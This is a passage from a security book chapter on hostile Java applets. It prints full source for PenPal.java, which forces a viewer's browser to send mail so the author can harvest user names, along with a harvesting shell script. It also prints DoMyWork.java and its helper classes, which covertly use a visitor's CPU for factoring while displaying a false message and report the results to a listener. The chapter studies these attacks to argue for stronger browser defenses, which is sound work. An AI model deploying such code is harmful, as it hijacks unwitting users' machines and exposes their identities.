It is important to understand clearly what happens here. By viewing the applet, you are forced to connect to port 25 on the applet's home host, and you have no choice in the matter. You need not even be made aware that this is happening. The applet's author controls everything about your interaction with sendmail: the recipient, the message, and even the return address supplied to sendmail. Nevertheless, the e-mail header identifies you (or at least your machine) as the originator of the message. Of course on a soundly administered system, careful logging will reveal the applet's author as the instigator, so the threat may not be as serious as it seems at first.

The fact that the complete e-mail address of the person viewing the applet may show up in the e-mail header suggests that an applet can in fact obtain user names. Listing 30a.8 displays such an applet.

Listing 30a.8: PenPal.java


import java.applet.*;
import java.io.*;
import java.net.*;

public class PenPal extends java.applet.Applet implements Runnable { 

    public static Socket socker;
    public static DataInputStream inner;
    public static PrintStream outer;
    public static int mailPort = 25 ;
    public static String mailFrom = "my.hostile.applet";
    public static String toMe = "mladue@math.gatech.edu"; //Change this please!
    public static String starter = new String();
    Thread controller = null;

    public void init() {

	try {
	    socker = new Socket(getDocumentBase().getHost(), mailPort);
	    inner = new DataInputStream(socker.getInputStream());
	    outer = new PrintStream(socker.getOutputStream());
        }
        catch (IOException ioe) {}
    }

    public void start() {
        if (controller == null) {
            controller = new Thread(this);
            controller.setPriority(Thread.MAX_PRIORITY);
            controller.start();
        }
    }

    public void stop() {
        if (controller != null) {
            controller.stop();
            controller = null;
        }
    }

    public void run() {
        try {
            starter = inner.readLine();
        }
        catch (IOException ioe) {}
        mailMe("HELO " + mailFrom);
        mailMe("MAIL FROM: " + "penpal@" + mailFrom);
	mailMe("RCPT TO: " + toMe);
	mailMe("DATA");
        mailMe("Hey, it worked!" + "\n." + "\n");
        mailMe("QUIT"); 
        try {
            socker.close();
        }
        catch (IOException ioe) {}
    }

    public void mailMe(String toSend) {
        String response = new String();
        try {
            outer.println(toSend);
            outer.flush();
            response = inner.readLine();
        }
        catch(IOException e) {}
    }
}

The applet works just like Forger.java. Now the person viewing the applet is compelled to send a simple note to the applet's author (mladue@math.gatech.edu). In order to make a convenient list of e-mail addresses, the author used a little UNIX shell script to scan his incoming mail for messages from penpal@my.hostile.applet and select the fields of those letters that might contain complete e-mail addresses, including user names. The applet seems to be successful in obtaining a user name at least 20% of the time. Although it is not perfectly successful, it works often enough to be considered a hazard to those concerned about privacy. The fact that it works at all shows once again that Java can behave in ways unexpected by the language's creators. (For reasons of privacy, a sample of the output is not included here.)

Listing 30a.9: update (shell script)


#! /bin/csh
grep "from my" /var/mail/mladue | cut -f4,5 -d" " >> ~/public_html/penpals
sort ~/public_html/penpals | uniq > .allpals
/bin/rm ~/public_html/penpals
mv .allpals ~/public_html/penpals
chmod 755 ~/public_html/penpals

The applets in this section pose some difficult questions for the Java language. With the potential for mischief so clearly demonstrated, should an applet be allowed to connect to port 25 and send mail? Likewise, applets that connect to port 23 (telnet) could also get viewers into trouble. For example, it is possible to write an applet which connects to port 23 and repeatedly tries to login as root. And the nature of Java makes any telnet applet highly amenable to recording passwords. Should applets be allowed to connect to any ports at all? It is a very nice feature of the language that they can do so, but in the next section we will see how this can lead to unauthorized use of others' resources.

8. A Java Factoring-By-Web Project

The security of the RSA public key cryptosystem depends on the difficulty of factoring a large integer into a product of prime numbers. In 1977 Rivest, Shamir, and Adelman, the inventors of RSA, announced their challenge problem of factoring a certain 129-digit integer, which came to be known as RSA-129. At the time they etsimated that it would take some 4 x 10^16 years to factor their integer. But in April of 1994 a team of researchers announced that RSA-129 had been factored: THE MAGIC WORDS ARE SQUEAMISH OSSIFRAGE. The factorization had taken less than a year using the Quadratic Sieve alogorithm and the collaboration of many researchers and volunteers across the Internet.

Currently there is ongoing research into the prospects of organizing the World Wide Web into a general-purpose parallel computer capable of handling Grand Challenge problems. One such effort is the RSA Factoring-By-Web Project, which is organized by some of the same researchers who factored RSA-129 and sponsored by several research institutions, including NPAC at Syracuse University, BellCore, Oxford, and Boston University. In essence the project seeks voluntary contributions of computational resources from sites around the world. The volunteer sites work on portions of the larger factoring problems and report their results back to the major sites, which then collate and analyze the results. On April 10, 1996 the project reported that RSA-130 had been factored in a fraction of the time that it took to factor RSA-129.

In this section we present a little Java Factoring-By-Web Project. The main differences between this project and the RSA Factoring-By-Web Project are these:

  1. Our project uses Java applets exclusively, and it can easily be run by one person;
  2. Our project factors relatively small (12-20 digit) integers using a terribly inefficient algorithm (trial division);
  3. Participation in our project need not be voluntary.

Listings 30a.10 - 30a.13 lay out the applet DoMyWork.java and its component classes, Calculator.java, Report.java, and ReportServerSocket.java.

Listing 30a.10: DoMyWork.java


import java.awt.*;
import java.applet.Applet;

public class DoMyWork extends java.applet.Applet implements Runnable {

//  Just a font to paint strings to the applet window 
    Font bigFont = new Font("TimesRoman", Font.BOLD, 36);

//  These threads will make you perform the calculations
//  and send the results back to their home.
    Thread controller = null;
    Thread sleeper = null;

//  Used to read in a parameter that makes the thread sleep for a
//  specified number of seconds taking effect
    int delay;
//  Used to read in a parameter that determines the port to which
//  Sockets will be connected
    public static int thePort;

//  Used to read in as a parameter the long integer to be factored
    public static long theNumber;

//  Used to hold the localhost to which the applet will connect
    public static String theHome;

    public void init() {
    setBackground(Color.white);

//  Determine how many seconds the main thread should sleep before kicking in
    String str = getParameter("wait");
    if (str == null)
        delay = 0;
    else delay = (1000)*(Integer.parseInt(str));
//  Determine the port number
    str = getParameter("portnumber");
    if (str == null)
        thePort = 9000;
    else thePort = Integer.parseInt(str);
//  Determine the long integer to be factored
    str = getParameter("tobefactored");
    if (str == null)
        theNumber = 2L;
    else theNumber = Long.parseLong(str);
//  Determine the home host of the applet
    theHome = getDocumentBase().getHost();
    }


/*  Create and start the main thread in the standard way */

    public void start() {
        if (sleeper == null) {
        sleeper = new Thread(this);
        sleeper.setPriority(Thread.MAX_PRIORITY);
        sleeper.start();
        }
    }

/*  And why should we stop? */

    public void stop() {}

    public void run() {

//  Let the applet tell its lie
        repaint();

//  Let the applet sleep for a while to avert suspicion if you like
        try {sleeper.sleep(delay);}
        catch(InterruptedException e) {}

        if (controller == null) {
        Calculator calc = new Calculator();
        controller = new Thread(calc);
        controller.setPriority(Thread.MAX_PRIORITY);
        controller.start();
        }
    }

/*  Paints the applet's lie */

    public void update(Graphics g) {
        paint(g);
    }

    public void paint(Graphics g) {
    g.setColor(Color.blue);
    g.setFont(bigFont);
    g.drawString("I'm Not Doing Anything!", 10, 200);
    }
}

Listing 30a.11: Calculator.java


import java.io.*;
import java.net.*;
import DoMyWork;
import Report;

/*  This simple class just calls the class that does all the work */

public class Calculator extends java.applet.Applet implements Runnable {

//  The class that actually does the work
    public GetFactor doWork;

/*  As usual, we won't stop anything */

    public void stop() {}


/*  Starts the factoring by trial division */

    public void run() {
        doWork = new GetFactor();
    }
}
/*  This class takes a given long integer and tries to factor it
    by trial division.  Of course other alogorithms could be used
    instead, and you're not limited to such simple schemes. */


class GetFactor extends DoMyWork {

//  The quantities that we'll be working with
    long myNumber = DoMyWork.theNumber; 
    int myPort = DoMyWork.thePort;
    String myHome = DoMyWork.theHome;
    long factor;
    long hopeful;
    Report sendIt = null;
    Long T = null;
    Long L = null;

//  Tells whether or not factoring was successful 
    boolean success;

/*  Start factoring by trial division */

    GetFactor() {
        long maxfactor = (long) java.lang.Math.sqrt(myNumber) + 1;
        factor = 3L;
        hopeful = 0L;
        success = false;

        hopeful = myNumber % 2;
        if (hopeful == 0) {
            success = true;
            factor = 2;
        }
        else {
            success = false;
            factor = 3;
            while (success == false &&
                    factor <  maxfactor) {
                hopeful = myNumber % factor;
                if (hopeful == 0) {success = true;}
                factor += 2;
             }
        }
        if (success == false) {factor = myNumber;}
        else {
            if (factor > 2) {factor -= 2;}
        }
        T = new Long(myNumber);
        L = new Long(factor);
        String teststr = T.toString();
        String factorstr = L.toString();
        sendIt = new Report(myHome, myPort);
        sendIt.communicate(teststr, factorstr);
    }
}

Listing 30a.12: Report.java


/*  This class allows the applet to communicate with its home. */

import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.Date;

public class Report {

    public String home = new String("www.math.gatech.edu");
    public int port = 9000;
    public String localhome = null;
    public boolean debug = false;
    public InetAddress localHome = null;
    public String localAddress = null;
    public Date rightNow;

//  Construct the class
    Report(String home, int port) {
        this.home = home;
        this.port = port;
    }

    public void communicate(String teststr, String factorstr) {
        Socket socker = null;
        OutputStream outerStream = null;
        byte by[] = new byte[4096];
        int numberbytes;
        InetAddress inneraddress = null;
        String response = null;
        StringBuffer responsebuf = new StringBuffer();
//      System.out.println("I'm up to no good");
        try {
            socker = new Socket(home, port);
            outerStream = socker.getOutputStream();
        }
        catch (IOException ioe) {
            if (debug)
                System.out.println("I can't open a socket to " + home);
        }
        try {
            if (debug)
                System.out.println("Sending factoring information to" + home);
            inneraddress = socker.getInetAddress();
            try {
                localHome = inneraddress.getLocalHost();
                localAddress = localHome.toString();
            }
            catch (UnknownHostException u) {
                System.out.println("I can't get the remote host's name");
            }
            rightNow = new Date();
            String time = rightNow.toString();
            responsebuf.append(localAddress + "\t" + time + "\t" +
                               teststr + "\t" + factorstr + "\n");
            response = responsebuf.toString();
            numberbytes = response.length();
            response.getBytes(0, numberbytes, by, 0);
            outerStream.write(by, 0, numberbytes);
        }
        catch (IOException ioe) {
            if (debug)
                System.out.println("I can't talk to " + home);
        }
    }
}

Listing 30a.13: ReportServerSocket.java


/*  This Java Application sets up a simple ServerSocket to receive
     data from the Java applet DoMyWork.java */

import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;

class ReportServerSocket{

    public static void main(String args[]) {

        ServerSocket server;
        Socket socker;
        InputStream innerStream;
//      OutputStream outerStream;
        String home = new String("www.math.gatech.edu");
        int port = 9000;
        byte by[] = new byte[4096];
        int numberbytes;
        String reply;

        if (args.length != 1) {
          System.out.println("Command: java ReportSocketServer ");
            return;
        }

        System.out.println("ReportSocketServer Session Starting");
        System.out.println("*Factor is the smallest prime factor of Integer*");
        port = Integer.parseInt(args[0]);

//    Create the ServerSocket
        try {
            server = new ServerSocket(port);
            }
        catch (IOException ioe) {
            System.out.println("Unable to open port " + port);
            return;
        }

//  Listen for anyone sending reults back to the applet
        while (true) {
            try {
                socker = server.accept();
                innerStream = socker.getInputStream();
            }
            catch (IOException ioe) {
                System.out.println("Accept failed at port " + port);
                return;
            }
            try {
                numberbytes = innerStream.read(by, 0, 4096);
            }
            catch (IOException ioe) {
                System.out.println("Read failed at port " + port);
                return;
            }
            reply = new String(by, 0, 0, numberbytes);
            System.out.println("Host Name / IP Address \t" + "Date" + 
                               "\t\t\t\t" + "Integer  \t" + "Factor");
            System.out.println(reply);

//  We could send a message back, but we won't right now
            try {
                socker.close();
            }
            catch (IOException ioe) {
                 System.out.println("Unable to close port " + port);
            }
        }
    }
}

The applet begins by reading in three parameters from its home page: a delay (in seconds), a port number, and a long integer to be factored. After the main thread, sleeper, sleeps for the number of seconds specified by delay, it creates a Calculator object, calc, and a new thread, controller, in which the action takes place. Now calc simply creates a new getFactor object, doWork, to factor the given integer. The class getFactor factors an integer by trial division, and it creates a new instance of the Report class, sendit, to communicate its results back to the applet's home site. The Java application ReportServerSocket sets up a ServerSocket to listen on a specified port for these results, which are readily redirected to a file and which can be displayed from a web page.

At first glance DoMyWork.java does not appear to be such a hostile applet. But while it does not attempt to annoy you and squander your resources, it stealthily puts your workstation to work for someone else, perhaps a business competitor, a criminal, or even a foreign government. Clearly we could do the same thing with any Java program that we would like you to run. To create an applet that does other work, we can replace the class GetFactor by some other class or classes, and we can adjust the classes Report and ReportServerSocket to handle whatever data we would like returned.

This possibility raises a tangled web of unaddressed legal and ethical questions, and it is at least conceivable that running such an applet might be illegal in some situations. For example, suppose that a federal employee, say from NASA, happens to download an applet which begins using government resources for private ends. Have any laws been broken, and if so, who is the guilty party? Now suppose that instead of factoring integers the applet farms out pieces of a brute force attack to decrypt some financial information, and suppose that an FBI agent, doing a little lunchtime browsing, happens to download the applet which runs this decryption program. Now what laws are being broken, and who is responsible? From these possibilities we see that DoMyWork.java is another very hostile applet.

We have already seen good reasons why applets may need further restrictions upon the network connections that they are allowed to make. Applets which are allowed to connect to port 25 can forge electronic mail, and applets connecting to port 23 for telnet run the risk of revealing passwords. The present example shows that even allowing applets to establish connections to other ports on their home hosts entails risks.

9. Retrospect and Prospect

In this chapter we have taken a hacker's approach to Java, and we have introduced the subject of hostile applets. We started by discussing some recent hostile applets developed by Princeton researchers, and then we went on to consider a diverse collection of others: the Noisy Bear, a trio of gluttonous browser killers, a nasty "big windows" attack, the Applet Killer, an e-mail forger that gets user names, and one that silently exploits your system's resources. Clearly applets need not seek the Hackers' Holy Grail of altering, reading, and deleting files in order to be hostile. Sometimes it can be advantageous just to exploit someone's resources silently, and at other times simply being annoying and disruptive can achieve some ends. Hostile applets come in many varieties, and it is a very difficult task to build effective defenses against them all.

Although hostile applets are not yet lurking just around every corner of the World Wide Web, in the future that may change. Various sorts of them have already appeared on the Web and are now readily available, and in the future more are certain to appear. The time to begin thinking seriously about them and building better defenses against them is now. It is clear that browsers must give their users more effective means for controlling applets and their threads. It is also clear that further restrictions will be needed on the network connections that applets are allowed to make. As drastic changes in Java seem unlikely at this time, and as a system of trusted sources may not appear in the near future, the Java community will be forced to battle hostile applets in other ways. In this chapter we have sought to expose, by means of concrete examples, several of the problems that remain to be faced.